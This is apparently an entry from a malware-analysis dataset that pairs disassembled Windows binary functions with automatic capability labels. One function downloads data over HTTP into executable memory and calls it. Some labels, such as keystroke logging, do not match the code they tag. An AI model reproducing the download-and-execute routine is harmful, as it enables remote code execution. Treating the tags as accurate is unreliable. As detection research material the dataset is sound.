joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4046ac
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x47014d
call fcn.004295e0
push ecx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
call fcn.004410f5
and dword [ebp - 4], 0
lea ecx, [esi + 0x40]
call fcn.0044a723
mov eax, dword [0x499338]
mov dword [esi + 0x8c], eax
mov eax, dword [0x499338]
mov dword [esi + 0x9c], eax
mov eax, dword [0x499338]
mov dword [esi + 0xac], eax
mov eax, dword [0x499338]
mov dword [esi + 0xbc], eax
mov eax, dword [0x499338]
mov dword [esi + 0xcc], eax
lea ecx, [esi + 0xd0]
mov byte [ebp - 4], 6
call fcn.00407fb0
lea ecx, [esi + 0x108]
mov byte [ebp - 4], 7
call fcn.00407fb0
lea ecx, [esi + 0x140]
mov byte [ebp - 4], 8
call fcn.00407fb0
lea ecx, [esi + 0x178]
mov byte [ebp - 4], 9
call fcn.00407fb0
lea ecx, [esi + 0x1b0]
mov byte [ebp - 4], 0xa
call fcn.00407fb0
lea ecx, [esi + 0x1e8]
mov byte [ebp - 4], 0xb
call fcn.00407fb0
lea ecx, [esi + 0x220]
mov byte [ebp - 4], 0xc
call fcn.00407fb0
lea ecx, [esi + 0x258]
mov byte [ebp - 4], 0xd
call fcn.00407fb0
lea ecx, [esi + 0x290]
mov byte [ebp - 4], 0xe
call fcn.00407fb0
lea ecx, [esi + 0x2c8]
mov byte [ebp - 4], 0xf
call fcn.00407fb0
lea ecx, [esi + 0x300]
mov byte [ebp - 4], 0x10
call fcn.00407fb0
lea ecx, [esi + 0x338]
mov byte [ebp - 4], 0x11
call fcn.00407fb0
lea ecx, [esi + 0x370]
mov byte [ebp - 4], 0x12
call fcn.00407fb0
lea ecx, [esi + 0x3a8]
mov byte [ebp - 4], 0x13
call fcn.00407fb0
mov byte [ebp - 4], 0x14
lea ecx, [esi + 0x3e0]
call fcn.00407fb0
lea ecx, [esi + 0x418]
mov byte [ebp - 4], 0x15
call fcn.00407fb0
lea ecx, [esi + 0x450]
mov byte [ebp - 4], 0x16
call fcn.00407fb0
lea ecx, [esi + 0x488]
mov byte [ebp - 4], 0x17
call fcn.00407fb0
lea ecx, [esi + 0x4c0]
mov byte [ebp - 4], 0x18
call fcn.00407fb0
lea ecx, [esi + 0x4f8]
mov byte [ebp - 4], 0x19
call fcn.00407fb0
lea ecx, [esi + 0x530]
mov byte [ebp - 4], 0x1a
call fcn.00407fb0
lea ecx, [esi + 0x568]
mov byte [ebp - 4], 0x1b
call fcn.00407fb0
lea ecx, [esi + 0x5a0]
mov byte [ebp - 4], 0x1c
call fcn.00407fb0
lea ecx, [esi + 0x5d8]
mov byte [ebp - 4], 0x1d
call fcn.00407fb0
lea ecx, [esi + 0x610]
mov byte [ebp - 4], 0x1e
call fcn.00407fb0
lea ecx, [esi + 0x648]
mov byte [ebp - 4], 0x1f
call fcn.00407fb0
lea ecx, [esi + 0x680]
mov byte [ebp - 4], 0x20
call fcn.00407fb0
lea ecx, [esi + 0x6b8]
mov byte [ebp - 4], 0x21
call fcn.00407fb0
lea ecx, [esi + 0x6f0]
mov byte [ebp - 4], 0x22
call fcn.00407fb0
lea ecx, [esi + 0x728]
mov byte [ebp - 4], 0x23
call fcn.00407fb0
lea ecx, [esi + 0x760]
mov byte [ebp - 4], 0x24
call fcn.00407fb0
lea ecx, [esi + 0x798]
mov byte [ebp - 4], 0x25
call fcn.00407fb0
lea ecx, [esi + 0x7d0]
mov byte [ebp - 4], 0x26
call fcn.00407fb0
lea ecx, [esi + 0x808]
mov byte [ebp - 4], 0x27
call fcn.00407fb0
mov byte [ebp - 4], 0x28
lea ecx, [esi + 0x840]
call fcn.00407fb0
and dword [esi + 0x6c], 0
mov ecx, dword [ebp - 0xc]
and dword [esi + 0x74], 0
mov dword [esi], method.CWnd.virtual_0
mov dword [esi + 0x70], 1
mov dword [esi + 0x78], 0xc8c8c8
mov dword [esi + 0x7c], 0xfae6e6
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x4046b7
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x47014d
call fcn.004295e0
push ecx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
call fcn.004410f5
and dword [ebp - 4], 0
lea ecx, [esi + 0x40]
call fcn.0044a723
mov eax, dword [0x499338]
mov dword [esi + 0x8c], eax
mov eax, dword [0x499338]
mov dword [esi + 0x9c], eax
mov eax, dword [0x499338]
mov dword [esi + 0xac], eax
mov eax, dword [0x499338]
mov dword [esi + 0xbc], eax
mov eax, dword [0x499338]
mov dword [esi + 0xcc], eax
lea ecx, [esi + 0xd0]
mov byte [ebp - 4], 6
call fcn.00407fb0
lea ecx, [esi + 0x108]
mov byte [ebp - 4], 7
call fcn.00407fb0
lea ecx, [esi + 0x140]
mov byte [ebp - 4], 8
call fcn.00407fb0
lea ecx, [esi + 0x178]
mov byte [ebp - 4], 9
call fcn.00407fb0
lea ecx, [esi + 0x1b0]
mov byte [ebp - 4], 0xa
call fcn.00407fb0
lea ecx, [esi + 0x1e8]
mov byte [ebp - 4], 0xb
call fcn.00407fb0
lea ecx, [esi + 0x220]
mov byte [ebp - 4], 0xc
call fcn.00407fb0
lea ecx, [esi + 0x258]
mov byte [ebp - 4], 0xd
call fcn.00407fb0
lea ecx, [esi + 0x290]
mov byte [ebp - 4], 0xe
call fcn.00407fb0
lea ecx, [esi + 0x2c8]
mov byte [ebp - 4], 0xf
call fcn.00407fb0
lea ecx, [esi + 0x300]
mov byte [ebp - 4], 0x10
call fcn.00407fb0
lea ecx, [esi + 0x338]
mov byte [ebp - 4], 0x11
call fcn.00407fb0
lea ecx, [esi + 0x370]
mov byte [ebp - 4], 0x12
call fcn.00407fb0
lea ecx, [esi + 0x3a8]
mov byte [ebp - 4], 0x13
call fcn.00407fb0
mov byte [ebp - 4], 0x14
lea ecx, [esi + 0x3e0]
call fcn.00407fb0
lea ecx, [esi + 0x418]
mov byte [ebp - 4], 0x15
call fcn.00407fb0
lea ecx, [esi + 0x450]
mov byte [ebp - 4], 0x16
call fcn.00407fb0
lea ecx, [esi + 0x488]
mov byte [ebp - 4], 0x17
call fcn.00407fb0
lea ecx, [esi + 0x4c0]
mov byte [ebp - 4], 0x18
call fcn.00407fb0
lea ecx, [esi + 0x4f8]
mov byte [ebp - 4], 0x19
call fcn.00407fb0
lea ecx, [esi + 0x530]
mov byte [ebp - 4], 0x1a
call fcn.00407fb0
lea ecx, [esi + 0x568]
mov byte [ebp - 4], 0x1b
call fcn.00407fb0
lea ecx, [esi + 0x5a0]
mov byte [ebp - 4], 0x1c
call fcn.00407fb0
lea ecx, [esi + 0x5d8]
mov byte [ebp - 4], 0x1d
call fcn.00407fb0
lea ecx, [esi + 0x610]
mov byte [ebp - 4], 0x1e
call fcn.00407fb0
lea ecx, [esi + 0x648]
mov byte [ebp - 4], 0x1f
call fcn.00407fb0
lea ecx, [esi + 0x680]
mov byte [ebp - 4], 0x20
call fcn.00407fb0
lea ecx, [esi + 0x6b8]
mov byte [ebp - 4], 0x21
call fcn.00407fb0
lea ecx, [esi + 0x6f0]
mov byte [ebp - 4], 0x22
call fcn.00407fb0
lea ecx, [esi + 0x728]
mov byte [ebp - 4], 0x23
call fcn.00407fb0
lea ecx, [esi + 0x760]
mov byte [ebp - 4], 0x24
call fcn.00407fb0
lea ecx, [esi + 0x798]
mov byte [ebp - 4], 0x25
call fcn.00407fb0
lea ecx, [esi + 0x7d0]
mov byte [ebp - 4], 0x26
call fcn.00407fb0
lea ecx, [esi + 0x808]
mov byte [ebp - 4], 0x27
call fcn.00407fb0
mov byte [ebp - 4], 0x28
lea ecx, [esi + 0x840]
call fcn.00407fb0
and dword [esi + 0x6c], 0
mov ecx, dword [ebp - 0xc]
and dword [esi + 0x74], 0
mov dword [esi], method.CWnd.virtual_0
mov dword [esi + 0x70], 1
mov dword [esi + 0x78], 0xc8c8c8
mov dword [esi + 0x7c], 0xfae6e6
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret
Function at 0x40b355
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
mov eax, 0x470cb0
call fcn.004295e0
sub esp, 0x12c
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], esp
push ebx
push ebx
push ebx
push ebx
push 1
push 0x498dc4
lea ecx, [ebp - 0x30]
mov byte [ebp - 0x15], bl
call fcn.0045a6ae
push ebx
push 4
pop edi
lea eax, [ebp - 0x14]
push edi
mov esi, 0x7d0
push eax
push 2
lea ecx, [ebp - 0x30]
mov dword [ebp - 4], ebx
mov dword [ebp - 0x14], esi
call fcn.0045a95e
push ebx
lea eax, [ebp - 0x14]
push edi
push eax
push 5
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x14], esi
call fcn.0045a95e
push ebx
lea eax, [ebp - 0x14]
push edi
push eax
push 6
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x14], esi
call fcn.0045a95e
push ebx
lea eax, [ebp - 0x14]
push edi
push eax
push 7
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x14], esi
call fcn.0045a95e
push ebx
lea eax, [ebp - 0x14]
push edi
push eax
push 8
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x14], esi
call fcn.0045a95e
push ebx
push ebx
push 0x84000002
push 1
push dword [ebp + 8]
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x14], ebx
mov byte [ebp - 4], 1
call fcn.0045a7a9
mov esi, eax
lea eax, [ebp - 0x34]
push eax
mov ecx, esi
mov dword [ebp - 0x1c], esi
call fcn.0045b208
cmp dword [ebp - 0x34], 0xc8
jne 0x40b526
lea eax, [ebp + 8]
push ebx
push eax
push 5
mov ecx, esi
mov dword [ebp + 8], ebx
call fcn.0045b1e1
mov eax, dword [ebp + 8]
cmp eax, ebx
jbe 0x40b526
add eax, 8
push eax
call fcn.0042a0bf
mov edi, eax
pop ecx
cmp edi, ebx
mov dword [ebp - 0x14], edi
jne 0x40b487
push 0x10
push 0x498dbc
push 0x498da0
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call fcn.0045a669
xor al, al
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
mov eax, dword [ebp + 8]
add eax, 8
push eax
push ebx
push edi
call fcn.004296f0
add esp, 0xc
xor esi, esi
mov ecx, dword [ebp + 8]
cmp esi, ecx
jae 0x40b4d1
sub ecx, esi
mov eax, 0x800
cmp ecx, eax
jae 0x40b4ae
mov eax, ecx
mov ecx, dword [ebp - 0x1c]
push eax
lea eax, [esi + edi]
mov edx, dword [ecx]
push eax
call dword [edx + 0x34]
cmp eax, ebx
jg 0x40b4cd
push 0x10
push 0x498dbc
push 0x498d80
jmp 0x40b4f2
add esi, eax
jmp 0x40b49a
push 0x40
push 0x1000
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
cmp esi, ebx
jne 0x40b505
push 0x10
push 0x498dbc
push 0x498d58
push ebx
call dword [sym.imp.USER32.dll_MessageBoxA]
push edi
call fcn.00429fd6
pop ecx
jmp 0x40b46a
push dword [ebp + 8]
push edi
push esi
call fcn.00429890
add esp, 0xc
call esi
cmp edi, ebx
mov byte [ebp - 0x15], 1
je 0x40b523
push edi
call fcn.00429fd6
pop ecx
mov esi, dword [ebp - 0x1c]
cmp esi, ebx
je 0x40b53a
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x4c]
mov eax, dword [esi]
push 1
mov ecx, esi
call dword [eax + 4]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call fcn.0045a669
mov al, byte [ebp - 0x15]
jmp 0x40b478
Function at 0x40f20f
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
mov eax, 0x471586
call fcn.004295e0
push ecx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
mov eax, dword [0x499338]
lea edi, [esi + 4]
xor ecx, ecx
mov dword [ebp - 4], ecx
mov dword [edi], eax
mov eax, dword [0x499338]
mov dword [esi + 0x30], eax
push 1
mov dword [esi + 0x20], ecx
pop eax
mov dword [esi + 0x10], ecx
push dword [ebp + 8]
mov dword [esi + 0x40], ecx
mov ecx, edi
mov byte [ebp - 4], 2
mov dword [esi], method.CCommandLineInfo.virtual_0
mov dword [esi + 0x18], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
mov dword [esi + 0x14], eax
mov dword [esi + 0x1c], eax
mov dword [esi + 0x28], eax
mov dword [esi + 0x24], 0x20
call fcn.00440b15
push 0xffffffffffffffff
mov ecx, edi
call fcn.00440ddf
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
leave
ret 4

Function at 0x4102cc
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8c
push edi
push 3
pop edi
lea eax, [ebp - 4]
push eax
push 1
push 0
push 0x49900c
push reloc.oledlg.dll_OleUIAddVerbMenuA
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x41033c
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x80
push eax
lea eax, [ebp - 0x8c]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push 0x498ff8
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x410333
push 0xa
push eax
lea eax, [ebp - 0x8c]
push eax
call fcn.0042ac4b
add esp, 0xc
mov edi, eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, edi
pop edi
leave
ret
Function at 0x43c6d0
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.0042aa00
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x43c79b
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x43c79b
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x43c74e
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x43c759
or bh, 8
and edi, 0x8000000
je 0x43c774
mov eax, dword [0x4792dc]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x43c79b
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x43cb70
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x43cb9b
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x43cbbf
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x43cbda
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20

Function at 0x441eeb
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x441f23
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.00440e83
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00440e5b
jmp 0x441f2f
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4
Function at 0x443b14
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x443b56
call fcn.0045b986
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x443b56
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x443b4d
xor eax, eax
jmp 0x443b5e
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00443b64
pop edi
pop esi
pop ebx
ret 4

Function at 0x444b0e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push esi
mov eax, ebx
push edi
mov edi, ecx
shr eax, 0x10
test ax, ax
mov dword [edi + 0x40], ebx
jne 0x444b30
cmp dword [edi + 0x3c], 0
jne 0x444b30
movzx eax, bx
mov dword [edi + 0x3c], eax
call fcn.0045b986
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
mov ecx, edi
push dword [esp + 0x18]
push eax
call fcn.00444b5d
pop edi
pop esi
pop ebx
ret 8

Function at 0x444bab
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
mov ebx, ecx
xor edi, edi
call fcn.0045b986
mov esi, dword [eax + 0xc]
push 5
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x444bdc
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push esi
mov ecx, ebx
push dword [esp + 0x18]
push edi
call fcn.00444bef
pop edi
pop esi
pop ebx
ret 8

Function at 0x45a6ae
Capabilities:
Create http request

Disassembly:
mov eax, 0x4734a0
call fcn.004295e0
push ecx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
mov eax, dword [ebp + 0xc]
and dword [ebp - 4], 0
and dword [esi + 0x10], 0
and dword [esi + 0xc], 0
mov dword [esi + 4], eax
mov eax, dword [ebp + 8]
test eax, eax
mov dword [esi], vtable.CInternetSession.0
jne 0x45a6e6
call fcn.0045b986
mov eax, dword [eax + 0x10]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetOpenA]
test eax, eax
mov dword [esi + 8], eax
jne 0x45a70b
push eax
push dword [esi + 4]
call fcn.0045b38c
jmp 0x45a717
push esi
push eax
mov ecx, 0x4772b8
call fcn.0045a728
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
leave
ret 0x18
Function at 0x45a9f5
Capabilities:
Access peb ldr_data
Get kernel32 base address
Get process heap flags

Disassembly:
mov eax, 0x4734ff
call fcn.004295e0
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call fcn.00447126
mov eax, dword [ebp + 0x18]
lea ebx, [esi + 0x24]
mov dword [esi + 0x1c], eax
mov eax, dword [0x499338]
xor edi, edi
mov dword [ebx], eax
mov dword [ebp - 4], edi
push dword [ebp + 0x10]
lea ecx, [esi + 0xc]
mov byte [ebp - 4], 1
mov dword [esi], vtable.CInternetFile.0
call fcn.00440b65
push dword [ebp + 0x14]
mov ecx, ebx
call fcn.00440b65
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x14], eax
mov eax, dword [ebp + 0x1c]
mov dword [esi + 0x18], eax
mov dword [esi + 0x3c], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x34], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x28], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x40], edi
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0x18

Function at 0x45c3f6
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov dword [ebp - 8], ecx
call fcn.0045b986
mov esi, dword [eax + 0xc]
push 0xf1
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
test eax, eax
je 0x45c433
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x45c433
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
jne 0x45c437
xor eax, eax
jmp 0x45c4b5
movzx eax, word [esi + 6]
push ebx
push edi
shl eax, 2
push eax
call fcn.00440209
and dword [ebp - 4], 0
cmp word [esi + 6], 0
pop ecx
mov ebx, eax
jbe 0x45c46f
mov ecx, ebx
lea eax, [esi + 8]
movzx edx, word [eax]
inc dword [ebp - 4]
mov dword [ecx], edx
movzx edx, word [esi + 6]
inc eax
add ecx, 4
inc eax
cmp dword [ebp - 4], edx
jl 0x45c459
movzx eax, word [esi + 6]
mov ecx, dword [ebp - 8]
push eax
push ebx
call fcn.0045c5a6
push ebx
mov edi, eax
call fcn.00440232
test edi, edi
pop ecx
je 0x45c4b1
movzx ecx, word [esi + 4]
movzx eax, word [esi + 2]
lea esi, [ecx + 7]
push ecx
mov ecx, dword [ebp - 8]
lea edx, [eax + 7]
push eax
push esi
push edx
call fcn.0045c36f
push dword [ebp + 8]
mov ecx, dword [ebp - 8]
call fcn.0045c4ba
mov edi, eax
mov eax, edi
pop edi
pop ebx
pop esi
leave
ret 4
Function at 0x46a6f1
Capabilities:
Check for time delay via gettickcount
Log keystrokes via polling

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
xor ebx, ebx
push 1
mov dword [esi + 0x30], ebx
mov dword [esi + 0x34], ebx
mov dword [esi + 0x38], ebx
call edi
test ax, ax
jge 0x46a719
or dword [esi + 0x38], 1
or dword [esi + 0x34], 2
jmp 0x46a72a
push 2
call edi
test ax, ax
jge 0x46a72a
or dword [esi + 0x38], 2
or dword [esi + 0x34], 1
mov ebp, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebp
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x34]
push dword [eax + 0x1c]
call dword [sym.imp.USER32.dll_SetCapture]
push eax
call fcn.00441520
cmp dword [esi + 0x30], ebx
jne 0x46a804
mov edi, dword [sym.imp.USER32.dll_PeekMessageA]
mov ebx, 0x100
call dword [sym.imp.USER32.dll_GetCapture]
push eax
call fcn.00441520
cmp eax, dword [esp + 0x34]
jne 0x46a804
push 1
push 0x209
push 0x200
lea eax, [esp + 0x20]
push 0
push eax
call edi
test eax, eax
jne 0x46a7a0
push 1
push 0x108
push ebx
push eax
lea eax, [esp + 0x24]
push eax
call edi
test eax, eax
je 0x46a7e5
mov eax, dword [esp + 0x18]
cmp eax, 0x202
je 0x46a804
cmp eax, 0x205
je 0x46a804
cmp eax, 0x201
je 0x46a804
cmp eax, 0x204
je 0x46a804
cmp eax, ebx
jne 0x46a7cb
cmp dword [esp + 0x1c], 0x1b
je 0x46a804
push dword [esp + 0x2c]
lea eax, [esi + 0x20]
push dword [esp + 0x2c]
push eax
call dword [sym.imp.USER32.dll_PtInRect]
neg eax
sbb eax, eax
inc eax
mov dword [esi + 0x30], eax
call ebp
sub eax, dword [esp + 0x10]
cmp eax, dword [0x477374]
jbe 0x46a7fa
mov dword [esi + 0x30], 1
cmp dword [esi + 0x30], 0
je 0x46a75d
call dword [sym.imp.USER32.dll_ReleaseCapture]
mov eax, dword [esi + 0x30]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 4
Function at 0x400136e4
Capabilities:
Get file system object information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x4cc
mov eax, dword [0x40026d24]
xor eax, esp
mov dword [esp + 0x4c8], eax
push ebx
push esi
mov esi, ecx
xor edx, edx
push edi
mov ecx, dword [esi + 8]
call fcn.40015f21
mov edi, eax
test edi, edi
je 0x4001380e
mov ebx, 0x2b4
lea eax, [esp + 0x10]
push ebx
push 0
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
mov dword [esp + 0x18], 0x10
lea eax, [esp + 0x10]
push 0x20f28
push ebx
push eax
xor ebx, ebx
push ebx
push edi
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
test eax, eax
je 0x400137a6
lea eax, [esp + 0x1c]
push eax
push 0x138
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SetDlgItemTextW]
push dword [esp + 0x10]
mov ecx, dword [esi + 4]
mov edx, 0x137
call fcn.4001700f
lea eax, [esp + 0x224]
push eax
push 0x13b
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SetDlgItemTextW]
test byte [esp + 0x18], 0x10
jne 0x400137a6
push ebx
push 1
push 0xcf
push 0x138
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SendDlgItemMessageW]
lea edx, [esi + 0x10]
mov ecx, edi
call fcn.40046ffc
test eax, eax
js 0x400137bb
mov ecx, esi
call fcn.40014228
push ebx
push ecx
lea eax, [esp + 0x2d0]
mov edx, 0xc000
push eax
mov ecx, edi
call fcn.40015e4d
test eax, eax
js 0x400137f9
lea eax, [esp + 0x2c8]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
lea eax, [esp + 0x2c8]
push eax
push 0x13e
push dword [esi + 4]
call dword [sym.imp.USER32.dll_SetDlgItemTextW]
push dword [esi + 0x28]
mov edx, dword [esi + 0x24]
mov ecx, dword [esi + 4]
call fcn.4001362a
push edi
call dword [sym.imp.SHELL32.dll_Ordinal_12443]
mov ecx, dword [esp + 0x4d4]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.400215e0
mov esp, ebp
pop ebp
ret